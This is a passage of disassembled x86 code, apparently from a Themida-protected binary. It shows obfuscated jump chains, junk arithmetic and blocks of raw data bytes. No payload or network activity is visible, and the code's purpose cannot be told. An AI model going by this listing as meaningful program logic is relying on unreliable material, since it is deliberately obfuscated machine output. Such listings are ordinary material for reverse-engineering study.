jmp loc_541DB1
; ---------------------------------------------------------------------------
db 80h
dd 0EA8066EAh, 5DF280B8h, 63B75366h, 0FFED03E9h, 0D2E95BFFh
dd 49FFFFAFh, 0ADAF181h, 0F0E9F678h, 66FFFFF1h, 8124048Bh
dd 4ECh, 243C8900h, 0FFFC07E9h, 24248BFFh, 9C2404D3h, 0FF71EDE9h
dd 80FDB1FFh, 0E1C0BCC1h, 80C9FE06h, 0E1C0C1E9h, 192CE906h
dd 85E90000h
db 61h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B1F3: ; CODE XREF: Themida_:0054BF67j
sub eax, 20F25966h
jmp loc_54A5D7
; ---------------------------------------------------------------------------
loc_54B1FD: ; CODE XREF: Themida_:00548EF5j
pop eax
jmp loc_54729E
; ---------------------------------------------------------------------------
db 81h
dd 9622F1E2h, 0ECEA8151h, 29DD41E2h, 0C0E95AD6h, 89FFFF80h
dd 75E92424h, 58FFFF73h, 2333CF81h, 814F1857h, 51D04EEFh
dd 0DBBFE911h, 75BBFFFFh, 55301125h, 0FFF9FEE9h, 24248BFFh
dd 8B2434FFh, 14682414h, 8900006Eh, 0E6892434h, 4B850h
dd 45E90000h, 8BFFFF67h, 0DCE92404h, 80FFFFBFh, 0EF80F3CFh
dd 734FE901h, 0BD55FFFFh, 38D71F38h, 0E95DE801h, 3B9h
dd 0D7A7EA81h, 0D629EE8Ch, 0C7BB535Ah, 14B9450h, 855CE9DEh
dd 0F791FFFFh, 0D6E950D1h, 0FEFFFFF1h, 7752E9C6h, 34FFFFFFh
dd 24048B24h, 7E6968h, 4BCE900h, 0F660000h, 5166C8AFh
dd 60BAE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B2BE: ; CODE XREF: Themida_:00543A42j
mov ecx, 1AEB465Dh
shr ecx, 2
xor ecx, 0DAA113C7h
jmp loc_54B7C7
; ---------------------------------------------------------------------------
db 68h, 55h, 14h
dd 5585540h, 0ABE9F304h, 8158C289h, 7222BEAh, 0E6BE560Ah
dd 21784B02h, 0EAC15EF2h, 79B85004h, 54CF233h, 24641276h
dd 0E958C221h, 0FFFF9CA8h, 0F6E9F000h, 0FFFFFFF3h, 0E9042474h
dd 1FC2h
; ---------------------------------------------------------------------------
loc_54B314: ; CODE XREF: Themida_:0054D471j
pop eax
push eax
mov eax, 4B623C3Dh
sub eax, 0DCCB29E3h
jmp loc_54484E
; ---------------------------------------------------------------------------
db 89h, 0E5h, 0E9h
dd 0FFFF84A7h
; ---------------------------------------------------------------------------
loc_54B32C: ; CODE XREF: Themida_:0054D139j
pop esi
jmp loc_549A11
; ---------------------------------------------------------------------------
dw 74FFh
dd 8F580424h, 665C2404h, 68240C89h, 2199h, 0FF765BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54B349: ; CODE XREF: Themida_:00548D83j
mov [esp], esi
jmp loc_54CB6A
; ---------------------------------------------------------------------------
db 33h, 1Ch, 24h
dd 0E924248Bh, 0FFFFEE45h, 33C1EB81h, 0F74B2B2Fh, 7471E9DBh
dd 48FFFFFh, 1E7FE924h, 815F0000h, 4C7h, 4C78300h, 5C243C87h
dd 109FB951h, 0F8E96579h
db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B38B: ; CODE XREF: Themida_:00545D45j
pop edx
jmp loc_542E16
; ---------------------------------------------------------------------------
db 21h, 47h, 1Ch
dd 5524048Bh, 242C8B54h, 5004C483h, 4B8h, 8BC50100h, 4EE92404h
dd 51FFFFBDh, 4FC068h, 241C8900h, 0FFE1D9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54B3BD: ; CODE XREF: Themida_:00546067j
push edx
mov edx, 124A7DF6h
jmp loc_54B99E
; ---------------------------------------------------------------------------
loc_54B3C8: ; CODE XREF: Themida_:0054599Bj
xor ebp, 77F09949h
add eax, ebp
jmp loc_54D469
; ---------------------------------------------------------------------------
loc_54B3D5: ; CODE XREF: Themida_:00541837j
sub edx, eax
jmp loc_547056
; ---------------------------------------------------------------------------
aN1U?25h db '1ØU½',27h,'?25hÌ`',0
align 2
dw 2C89h
dd 242C8324h, 70E95D01h, 55FFFFBFh, 5D2414F7h, 0FFC57AE9h
dd 74FF50FFh, 8F580424h, 895C2404h, 8DE9242Ch
db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B413: ; CODE XREF: Themida_:0054361Fj
push ecx
mov ecx, esi
mov eax, ecx
pop ecx
pop esi
jmp loc_54B190
; ---------------------------------------------------------------------------
db 1
dd 0DA03E9D7h, 1C8BFFFFh, 4EC8124h, 0E9000000h, 0FFFFFD29h
; ---------------------------------------------------------------------------
loc_54B434: ; CODE XREF: Themida_:00543C89j
pop edx
jmp loc_547381
; ---------------------------------------------------------------------------
dw 0E957h
dd 14BEh, 56241C8Bh, 0FF9696E9h, 1C875DFFh, 36E95C24h
dd 0B2FFFFCBh, 5DEA8078h, 30D8EA80h, 24148BD1h, 4C481h
dd 0ECE90000h, 0BEFFFFCEh, 6CBB77B9h, 0E907EEC1h, 0FFFF6952h
; ---------------------------------------------------------------------------
loc_54B478: ; CODE XREF: Themida_:0054A926j
neg ecx
and ecx, 7EEC199Fh
sub ecx, 16DAB5C0h
jmp loc_54CC31
; ---------------------------------------------------------------------------
db 81h
dd 44C248EEh, 0FB78E9E2h, 0C380FFFFh, 690AE9EEh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B49E: ; CODE XREF: Themida_:0054159Cj
pop edx
jmp loc_543B1B
; ---------------------------------------------------------------------------
dd 83241C8Bh, 506804C4h, 8900004Ch, 0EC81241Ch, 4, 68243489h
dd 463Ah, 0BA241489h, 1D2715E9h, 4EC81h, 0C890000h, 89D18924h
dd 685A59CEh, 1D2715E8h, 5EF3315Bh, 34FFD821h, 241C8B24h
dd 0FFED5DE9h, 240481FFh, 4, 483C685Dh, 14890000h, 0CEE95024h
dd 8FFFFFFDh, 895C2404h, 4832424h, 65E90424h, 2DFFFF5Eh
dd 29853956h, 4C0835Dh, 8B240487h, 89532424h, 4C381E3h
dd 83000000h, 1C8704C3h, 0BE95C24h, 58FFFFBFh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_549A3C
; ---------------------------------------------------------------------------
dd 8852CF88h, 5AD488FAh, 0FFFED9E9h, 74FF57FFh, 8F5F0424h
dd 815C2404h, 4C4h, 24042900h, 5E12E99Ch, 0F759FFFFh, 0DA3DE9D7h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B56E: ; CODE XREF: Themida_:00542E50j
or edx, eax
shl edx, 1
push edx
jmp loc_54704B
; ---------------------------------------------------------------------------
aSs db '^éá"',0
align 2
dw 0C481h
dd 4, 1B63C381h, 0D8890B0Ah, 77F2D5Bh, 0A42D6BF6h, 2D269349h
dd 52954131h, 6F4C3C05h, 25BD5501h, 0E97D3800h, 0FFFF903Dh
dd 59CB005Bh, 0FFC0B60Fh, 0CCE98734h, 83FFFFF7h, 0E95704C4h
dd 0FFFF6E65h
db 8Bh, 2 dup(24h)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_54A222
; ---------------------------------------------------------------------------
db 0B8h, 0Fh, 29h
dd 0E8C123FEh, 57B30503h, 17E96075h, 5AFFFFF3h, 2C181h
dd 0FF510000h, 8B042474h, 0C483240Ch, 24048F04h, 6624248Bh
dd 2404B30Fh, 5D6EE99Ch, 8059FFFFh, 0D700D5C7h, 0E9D5EF80h
dd 0FFFFEC96h
; ---------------------------------------------------------------------------
loc_54B618: ; CODE XREF: Themida_:00545168j
add esi, ebx
push dword ptr [esp]
pop ebx
add esp, 4
push ebx
mov ebx, 5A8D6AD5h
jmp loc_549BB4
; ---------------------------------------------------------------------------
db 5Ah
dd 0FFBBE0E9h, 0CE959FFh, 59FFFFA4h, 5C243487h, 4C181h
dd 0BB530000h, 10CC565Ah, 81DBF74Bh, 33A9A3F3h, 5BD901EFh
dd 0FFCB7AE9h, 24348BFFh, 56E38953h, 0C57E9h
db 0
; ---------------------------------------------------------------------------
loc_54B669: ; CODE XREF: Themida_:00544851j
add esi, 916AEDACh
sub ecx, esi
pop esi
jmp loc_549C2B
; ---------------------------------------------------------------------------
db 1
dd 0FF525BDAh, 8B042474h, 0C4812414h, 4, 0FF68D0E9h, 240489FFh
dd 0B868E089h, 8900007Ah, 0A8BD242Ch, 0E916FF75h, 0FFFFD02Fh
dd 2BDh, 5DEE8900h, 348BF729h, 8D66E924h, 0E8C1FFFFh, 0E9C83108h
dd 0FFFFBAB9h
; ---------------------------------------------------------------------------
loc_54B6C0: ; CODE XREF: Themida_:00545D94j
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
push 1E0Eh
mov [esp], ebx
jmp loc_54C022
; ---------------------------------------------------------------------------
dw 0D101h
dd 29A1E981h, 73E92EE1h
db 7Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B6E3: ; CODE XREF: Themida_:00545203j
push ecx
jmp loc_545508
; ---------------------------------------------------------------------------
db 1, 0DFh, 0E9h
dd 0FFFFBC4Bh, 0E9241487h, 0FFFF87C9h, 81C8B70Fh, 4ECh
dd 240C8900h, 794768h, 0A05FE900h, 0E781FFFFh, 0E8D3E83h
dd 35BCF781h, 0E7814153h, 35083629h, 7E93B850h, 95357AD0h
dd 0C1399428h, 722503E8h, 0D408172h, 0D033224h, 436D8035h
dd 58C7316Ch, 49C8F781h, 0ED816048h, 31243911h, 5BE9FD01h
dd 56FFFFCAh, 834E8668h, 7AE95E56h, 0C000001Fh, 2AE903EEh
db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B767: ; CODE XREF: Themida_:00547EEBj
push edx
push ebp
jmp loc_548327
; ---------------------------------------------------------------------------
dw 3C89h
dd 53E78924h, 4BBh, 5BDF0100h, 460368h, 242C8900h, 4BDh
dd 0D4D3E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B78E: ; CODE XREF: Themida_:00549D66j
dec esi
xor esi, 0EB79DF3Fh
add eax, esi
pop esi
sub eax, 4
jmp loc_549706
; ---------------------------------------------------------------------------
dw 0B652h
dd 2EC81E9h, 66000000h, 0B7241C89h, 66FE206Ah, 0E9241C8Bh
dd 0FFFFACD0h, 5F37E981h, 19E994D8h
db 0Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B7C7: ; CODE XREF: Themida_:0054B2CCj
xor ebx, ecx
pop ecx
jmp loc_544326
; ---------------------------------------------------------------------------
db 0BAh
dd 700163h, 2E9D131h, 52FFFF7Fh, 8318ABBAh, 81D2F758h
dd 630ED0E2h, 0F7DAF776h, 54F281DAh, 0E9266006h, 0FFFF9B09h
; ---------------------------------------------------------------------------
loc_54B7F8: ; CODE XREF: Themida_:00545F02j
not eax
shr eax, 1
inc eax
sub eax, 68D32FBCh
add eax, 4DD39D13h
push eax
xor dword ptr [esp], 3E55725Fh
pop esi
xor esi, 3E55725Fh
pop eax
jmp loc_54689D
; ---------------------------------------------------------------------------
dd 44AA05ADh, 3B687BC5h, 89000011h, 6852243Ch, 7075683Eh
dd 7E2C15Ah, 0B833EA81h, 8953E1DEh, 4EC81D3h, 89000000h
dd 0DE892434h, 5B5EF789h, 0E924148Bh, 0FFFF7F72h
; ---------------------------------------------------------------------------
loc_54B854: ; CODE XREF: Themida_:00542D03j
add ebx, 4
jmp loc_54A504
; ---------------------------------------------------------------------------
dd 8124048Fh, 42404h, 815D0000h, 4C5h, 0B5E95000h, 800001Bh
dd 0E9805AF1h, 9FF6E91Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B87E: ; CODE XREF: Themida_:00544ACEj
push ebx
mov ebx, 56982E28h
and ebx, 678328D4h
sub ebx, 1A32336Fh
inc ebx
sub ebx, 164779C1h
xor ebx, 1390284Fh
sub ecx, ebx
mov ebx, [esp]
add esp, 4
push ebx
push esp
mov ebx, [esp]
add esp, 4
add ebx, 4
sub ebx, 4
xor ebx, [esp]
jmp loc_54904B
; ---------------------------------------------------------------------------
loc_54B8C7: ; CODE XREF: Themida_:005458B1j
add esp, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
loc_54B8D6: ; CODE XREF: Themida_:0054390Dj
push ebp
mov ebp, ebx
sub esp, 4
mov [esp], ebp
sub esp, 4
mov [esp], edx
mov edx, 54CF294Eh
jmp loc_54D691
; ---------------------------------------------------------------------------
db 88h, 0E5h, 58h
dd 0E976B252h, 1EF7h, 33595125h, 12D25h, 0BA520000h, 1
dd 525AD001h, 311151BAh, 0FFD02900h, 835A2434h, 3EE904C4h
dd 81FFFFBFh, 4ECh, 240C8900h, 8D181AB9h, 8BCE0106h, 0C481240Ch
dd 4, 2C68159h, 87000000h, 5E92434h, 8BFFFFE0h, 0EC832424h
dd 3C0E904h, 148B0000h, 4C48124h, 68000000h, 38BBh, 0BE243489h
dd 64C74314h, 3EFE9h, 240C8B00h, 0FF04C483h, 348B2434h
dd 0E6895624h, 4C681h, 0C6810000h, 4, 31243433h, 34332434h
dd 0E56E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B99E: ; CODE XREF: Themida_:0054B3C3j
xor edx, 5AA52EDFh
shr edx, 4
shr edx, 1
sub edx, 9FD437Dh
push eax
mov eax, 0F84A371Ah
sub edx, eax
pop eax
add eax, edx
jmp loc_542BC0
; ---------------------------------------------------------------------------
db 81h
dd 0A172A2C6h, 0CE295A74h, 83240C8Bh, 5CE904C4h
db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B9D3: ; CODE XREF: Themida_:00548474j
mov [esp], edi
mov edi, 502B7793h
mov ecx, edi
pop edi
dec ecx
shr ecx, 6
shr ecx, 1
push eax
jmp loc_541E75
; ---------------------------------------------------------------------------
loc_54B9EA: ; CODE XREF: Themida_:005434C6j
shr esi, 4
jmp loc_542C77
; ---------------------------------------------------------------------------
loc_54B9F2: ; CODE XREF: Themida_:00547722j
and edx, 4D46772Bh
jmp loc_54699F
; ---------------------------------------------------------------------------
db 81h, 0E9h, 72h
dd 8B23A745h, 4EE9242Ch, 8BFFFF5Fh, 57E9240Ch, 8FFFFF87h
dd 1BE92404h, 66FFFFE5h, 55240C8Bh, 8904EC83h, 53552424h
dd 0BC702A68h, 0E3815B46h, 73D846CFh, 0FFB6B7E9h, 5DE901FFh
dd 3611BE56h, 0F6812EE0h, 2EE03613h, 348BF101h, 4C48324h
dd 8B240C87h, 8B662424h
db 4, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_546187
; ---------------------------------------------------------------------------
dw 11E9h
dd 33FFFF59h, 248B241Ch, 0FD685524h, 8B25CF25h, 50E9242Ch
dd 81FFFFA8h, 0AE1BE4EEh, 0FF565B3Ch, 0E9042474h, 471h
dd 57E9D830h, 29FFFFB9h, 0F13BE9D0h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BA9A: ; CODE XREF: Themida_:00547E53j
push 429Eh
mov [esp], ecx
push esi
pop ecx
pop esi
xchg edi, esi
not edi
xchg edi, esi
xor ecx, esi
xor esi, ecx
xor ecx, esi
add ecx, 5D34D50Fh
and eax, ecx
mov ecx, [esp]
add esp, 4
or eax, eax
jnz loc_54353E
push edi
push 57BC5B31h
pop edi
push ebp
mov ebp, 537C7D7Fh
add edi, ebp
pop ebp
sub esp, 4
mov [esp], ecx
push 3FBCh
mov [esp], eax
mov eax, 59166A30h
mov ecx, eax
pop eax
push edx
mov edx, 133EE254h
add ecx, edx
pop edx
and edi, ecx
jmp loc_542C99
; ---------------------------------------------------------------------------
db 55h, 0E9h, 10h
dd 0FF000008h, 148B2434h, 0C1F2E924h, 0EA01FFFFh, 83C2295Dh
dd 2C8904ECh, 6C5E924h, 51660000h, 662414F6h, 83240C8Bh
dd 0FAE902C4h, 89FFFFADh, 0A1BD242Ch, 535CDE5Ah, 0DE1AC7BBh
dd 0D3F74B59h, 21A8BD55h, 0ED815415h, 5CD47A84h, 0C104E5C1h
dd 814D06E5h, 0CC7A05C5h, 98ED8163h, 1AFAC94h, 0DD315DEBh
dd 0E9241C8Bh, 0FFFFE760h
; ---------------------------------------------------------------------------
loc_54BB6C: ; CODE XREF: Themida_:005496F8j
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
idiv ecx
push 2DEFh
mov [esp], edx
push eax
pushf
jmp loc_541378
; ---------------------------------------------------------------------------
loc_54BB86: ; CODE XREF: Themida_:00546200j
pop eax
jmp loc_548486
; ---------------------------------------------------------------------------
dd 0C8B60F66h, 172EE9h, 7F83AD00h, 840F0020h, 0FFFFDCFFh
dd 236DBA52h, 814A3837h, 0F31BCAF2h, 0F7D2F73Fh, 0F6C6E9DAh
dd 1433FFFFh, 24248B24h, 0F66F9F6h, 0EC83CCB6h, 240C8904h
dd 0FF5B93E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54BBCD: ; CODE XREF: Themida_:00541A91j
push 6A4Bh
mov [esp], ebx
mov eax, [esp]
push eax
mov eax, esp
jmp loc_54D912
; ---------------------------------------------------------------------------
dd 0E932C680h, 0FFFF7C9Bh, 4C781h, 0BE560000h, 4, 27E9F701h
dd 83FFFF5Fh, 0C8904ECh, 741FE924h, 0F581FFFFh, 3A598961h
dd 9FE9E831h
db 9Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BC13: ; CODE XREF: Themida_:005414ABj
pop esi
add esi, 4
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
jmp loc_5456EC
; ---------------------------------------------------------------------------
dd 0FFC0B60Fh, 41E98734h, 5FFFF57h, 4, 405h, 24048700h
dd 0C61255Ch, 0B8E90BBCh, 89FFFFC5h, 19E9243Ch, 88FFFFA0h
dd 24148BF3h, 0E9E68956h, 0FFFFCCA9h, 56242C8Bh, 0FFA4A2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54BC6D: ; CODE XREF: Themida_:0054CFC2j
sub edi, eax
jmp loc_5433AB
; ---------------------------------------------------------------------------
dd 42474FFh, 8324048Bh, 1C8904ECh, 0DDF9E924h, 48FFFFFh
dd 8B665C24h, 89502404h, 405E0h, 0EC810000h, 4, 83241489h
dd 48904ECh, 4348B824h, 0CDE96A9Fh
db 6Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BCAF: ; CODE XREF: Themida_:0054674Ej
pop ebp
shr eax, 12h
xor eax, ecx
sub esp, 4
mov [esp], esi
mov esi, esp
jmp loc_543E8B
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 33000000h, 0AFE9240Ch, 81FFFF63h, 0DA56B3C2h, 0EA815E79h
dd 434B4193h, 0C281F201h, 434B4193h, 39ACEA81h, 15E27C4h
dd 8EB4E9D5h, 2C89FFFFh, 9E95424h, 87000003h, 895C241Ch
dd 34FF2404h, 24148B24h, 8104C483h, 4C4h, 94EEE900h, 489FFFFh
dd 808E924h, 3C8B0000h, 4C48324h, 57C868h, 24348900h, 1921E9h
db 0
; ---------------------------------------------------------------------------
loc_54BD35: ; CODE XREF: Themida_:005495BEj
mov [esp], edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
mov ax, [esp]
push eax
mov eax, esp
push esi
jmp loc_54BEDD
; ---------------------------------------------------------------------------
dd 89FD8955h, 15F5DE8h, 87BAE9C7h, 0E956FFFFh, 0FFFF6A0Eh
dd 11B6EB81h, 0F3297A14h, 421E9h, 0C4835800h, 1685B04h
dd 89000039h, 78BE2434h, 507C973Ch, 75B2BA52h, 0FB84A03h
dd 11716E4h, 8CE95AD0h
db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BD97: ; CODE XREF: Themida_:005466C6j
pop esp
loc_54BD98: ; CODE XREF: Themida_:00548418j
push 6565h
mov [esp], edi
mov edi, 0
push edi
pop dword ptr [edx+30h]
mov edi, [esp]
push ebx
push 4D55h
mov [esp], esp
push eax
mov eax, 4
add [esp+4], eax
pop eax
pop ebx
push esi
mov esi, 149B3C4Ch
or esi, 7AD64F7Bh
jmp loc_549273
; ---------------------------------------------------------------------------
dw 8B66h
dd 5455240Ch, 0FFF388E9h, 15E950FFh, 66000017h, 5024048Bh
dd 2ECE954h, 68660000h, 89663610h, 9CE9240Ch, 4FFFFDCh
dd 2CE80084h, 0EA16E984h, 0C186FFFFh, 887BE980h, 0F7B559C8h
dd 2858C528h, 0B6525AD5h, 7EEC07Ah, 806EF680h, 0DEF6D1C6h
dd 20B6F680h, 0DDF65AF5h, 0D4F6E586h, 0F580E586h, 8BE8302Bh
dd 8956240Ch, 4C681E6h, 83000000h, 0FF5604C6h, 0E9042474h
dd 0D75h, 21E95756h, 0FE000008h, 0E9E9D0C1h, 1017h, 8E4340BAh
dd 0D4E28139h, 0E907522Ch, 0FFFF9413h, 0E9243C87h, 1974h
dd 515DE809h, 718E9h, 0DFE9AC00h
db 14h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54BE87: ; CODE XREF: Themida_:00541A72j
push ebx
mov bl, 6Dh
push edx
jmp loc_544A34
; ---------------------------------------------------------------------------
dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 248B2434h, 241C8924h
dd 413EB068h, 5871E939h, 0C181FFFFh, 2366292Eh, 4A59CA01h
dd 0FF6DECE9h, 394068FFh, 0D1E90000h, 51000001h, 73E9E189h
dd 80000003h, 0F82CD5C1h, 0FF5FADE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54BEDD: ; CODE XREF: Themida_:0054BD4Bj
mov esi, 56AC6173h
sub esi, 6C296523h
or esi, 76F937E4h
not esi
jmp loc_54A26E
; ---------------------------------------------------------------------------
db 8Bh, 1Ch, 24h
dd 0FFDBBFE9h, 48F5EFFh, 0E9F75C24h, 2A2068h, 0EF2EE900h
dd 3C89FFFFh, 4BF24h, 0FA010000h, 2414875Fh, 8B24248Bh
dd 89512404h, 0EABE56E1h, 0E9561832h, 0FFFFDCAAh
; ---------------------------------------------------------------------------
loc_54BF30: ; CODE XREF: Themida_:0054A3FAj
xchg edi, [esp]
pop esp
mov [esp], ebp
jmp loc_54245F
; ---------------------------------------------------------------------------
dd 0C281EA29h, 42E5AF6h, 542EE95Dh, 1C33FFFFh, 0F2EBE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BF52: ; CODE XREF: Themida_:0054D354j
pop esp
push ebx
mov ebx, 49B9655Bh
jmp loc_54974E
; ---------------------------------------------------------------------------
loc_54BF5E: ; CODE XREF: Themida_:00545C1Dj
mov edx, [esp]
add esp, 4
jmp loc_54B1F3
; ---------------------------------------------------------------------------
dd 3DE9C681h, 0C6813278h, 0A6161154h, 835EF029h, 3C8904ECh
dd 0EA9BF24h, 0F7815E8Fh, 55E92212h, 0FFA173E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54BF91: ; CODE XREF: Themida_:0054CD25j
not dword ptr [esp]
pop edx
push eax
push 4556h
mov [esp], edx
push 3D5F3282h
pop edx
jmp loc_5456BE
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 8F000000h, 0E95C2404h, 0FFFFE812h
; ---------------------------------------------------------------------------
loc_54BFB8: ; CODE XREF: Themida_:0054A595j
push eax
mov eax, esp
push esi
push eax
jmp loc_549D4F
; ---------------------------------------------------------------------------
dw 34FFh
dd 2434FF24h, 0C194E95Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BFCE: ; CODE XREF: Themida_:00544828j
mov ebp, 324A31CCh
and esi, ebp
pop ebp
shr esi, 1
push eax
mov eax, 18251004h
xor esi, eax
pop eax
and ecx, esi
mov esi, [esp]
push ebp
mov ebp, esp
add ebp, 4
push edx
jmp loc_54C328
; ---------------------------------------------------------------------------
db 89h, 0E2h, 81h
dd 4C2h, 4BE5600h, 0E9000000h, 0FFFFE5B8h, 4EC815Dh, 89000000h
dd 0E957240Ch, 0FFFFC635h
; ---------------------------------------------------------------------------
loc_54C018: ; CODE XREF: Themida_:005455E3j
jmp dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
db 61h
dd 0D227E9C3h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C022: ; CODE XREF: Themida_:0054B6D1j
push esi
mov esi, 2000h
push ecx
jmp loc_54CB70
; ---------------------------------------------------------------------------
dw 34FFh
dd 24048B24h, 4EC81h, 34890000h, 81E68924h, 4C6h, 4C68300h
dd 0FFB17AE9h, 3998BFFFh, 0FB010FDEh, 65B8505Fh, 0F705C426h
dd 0D7DCE9D8h, 0C186FFFFh, 14DCE9h, 4C08300h, 5C240487h
dd 0FF6DFBE9h, 53C681FFh, 29211613h, 24348BF7h, 4C481h
dd 0F8890000h, 0D0F7405Fh, 0BFB73548h, 0C301EC1Dh, 0E9038858h
dd 0FFFF88CFh, 0E9240489h, 0FFFFF28Eh
; ---------------------------------------------------------------------------
loc_54C0A4: ; CODE XREF: Themida_:0054D7E7j
mov ebp, [esp]
add esp, 4
mov eax, [esp]
add esp, 4
jmp loc_54777C
; ---------------------------------------------------------------------------
db 68h, 0F6h, 1
dd 0D5E92EA7h, 5BFFFFE3h, 34FFD328h, 8924E924h, 0EC83FFFFh
dd 240C8904h, 0EE0036B5h, 0DD6AE959h, 48BFFFFh, 4C48324h
dd 0FF9DD6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54C0E5: ; CODE XREF: Themida_:005440DEj
push ebx
mov ebx, 768A7F93h
shl ebx, 3
dec ebx
and ebx, 7DB72CACh
push edi
jmp loc_543EF9
; ---------------------------------------------------------------------------
db 9
dd 241C8BDEh, 81E68956h, 4C6h, 4C68300h, 5C243487h, 0FFC460E9h
db 0FFh
; ---------------------------------------------------------------------------
locret_54C115: ; CODE XREF: Themida_:0054A1DEj
retn
; ---------------------------------------------------------------------------
dw 5DE9h
dd 52FFFF52h, 5B09E954h, 0C281FFFFh, 7B5847D3h, 7FE4E959h
dd 67BDFFFFh, 81572E34h, 2E3463EDh, 5DEF8957h, 875FFA01h
dd 595C2414h, 0FF522FE9h, 66E800FFh, 24596859h, 14890000h
dd 66A3B224h, 96B753h, 805B66FAh, 0F280FFEAh, 0BC0E941h
dd 15B0000h, 0E95552F0h, 0FFFFA003h, 0FA3FED81h, 0EF89A7F4h
dd 44C7815Dh, 0E94F8B64h, 0FFFF60D6h, 24048B66h, 8D91E952h
dd 0C381FFFFh, 7A1411B6h, 8324348Bh, 0EB8104C4h, 20BC3243h
dd 0C381C301h, 20BC3243h, 4EC81h, 0C890000h, 28F86824h
dd 0C8B5371h, 4C48324h, 0FFE301E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54C1C5: ; CODE XREF: Themida_:0054842Ej
push ebp
mov ebp, 4
jmp loc_54A3E4
; ---------------------------------------------------------------------------
dd 54240C89h, 0FF857FE9h, 0FFCD01FFh, 0A9E92434h, 0BDFFFFDAh
dd 427A3879h, 4EC81h, 1C890000h, 755CBB24h, 0CBE929EFh
dd 81FFFFAAh, 7C423FF2h, 49C2817Dh, 8169C526h, 32DEC3C2h
dd 0E9D18908h, 0FFFFCEA0h
; ---------------------------------------------------------------------------
loc_54C214: ; CODE XREF: Themida_:0054D8F0j
add eax, 4
sub eax, 4
jmp loc_54C9DB
; ---------------------------------------------------------------------------
loc_54C223: ; CODE XREF: Themida_:00548CD5j
pop edx
mov edi, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_546E7F
; ---------------------------------------------------------------------------
db 2Ch
dd 2434FF23h, 0AC95E95Ah, 0C181FFFFh, 4, 8704E983h, 0B3E9240Ch
dd 58FFFF63h, 4EC81h, 0C890000h, 506E6824h, 0F8680000h
dd 89000025h, 0ACE92424h
db 62h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C273: ; CODE XREF: Themida_:00544AE6j
shr ebp, 5
add ebp, 0FFFFFFFFh
push edx
mov edx, 13A80519h
sub edx, 229B6EF8h
push ecx
mov ecx, 75FD66B8h
neg ecx
shl ecx, 4
shl ecx, 5
and ecx, 6DF56CD8h
and ecx, 55633361h
sub ecx, 1494258Bh
sub edx, ecx
pop ecx
xor ebp, edx
pop edx
mov esi, ebp
mov ebp, [esp]
add esp, 4
and eax, esi
mov esi, [esp]
jmp loc_5449C4
; ---------------------------------------------------------------------------
dd 4BEh, 5EF30100h, 0FF6C69E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54C2CD: ; CODE XREF: Themida_:00545E8Dj
mov ebx, esp
jmp loc_541E7F
; ---------------------------------------------------------------------------
dd 958C589h, 0E9425DEAh, 0FFFFABDEh, 0C8BC889h, 4C48124h
dd 81000000h, 0E66B8AEEh, 81C60119h, 0E66B8AC6h, 5CE9E919h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C2FE: ; CODE XREF: Themida_:0054296Aj
mov eax, 61B61E3Eh
add eax, 4CB772DFh
inc eax
add eax, 6BBB65F7h
jmp loc_54CD8D
; ---------------------------------------------------------------------------
db 68h
dd 4, 0CC7E9h, 2434FF00h, 0E92434FFh, 0FFFF9CCCh
; ---------------------------------------------------------------------------
loc_54C328: ; CODE XREF: Themida_:0054BFF0j
mov edx, 51C84A48h
push 2B3Eh
mov [esp], ecx
mov ecx, 158F7D96h
add edx, ecx
pop ecx
or edx, 15B3412Ch
or edx, 16CA07A2h
neg edx
push edi
mov edi, 77FFC802h
jmp loc_546F43
; ---------------------------------------------------------------------------
dw 0C8Bh
dd 4C48324h, 0FF8AB2E9h, 493668FFh, 0EC810000h, 4, 0E9242489h
dd 0FFFF6D85h, 0E924148Bh, 761h, 0E95FFA89h, 0FFFFB22Eh
dd 0E9028864h, 0FFFF4FECh
; ---------------------------------------------------------------------------
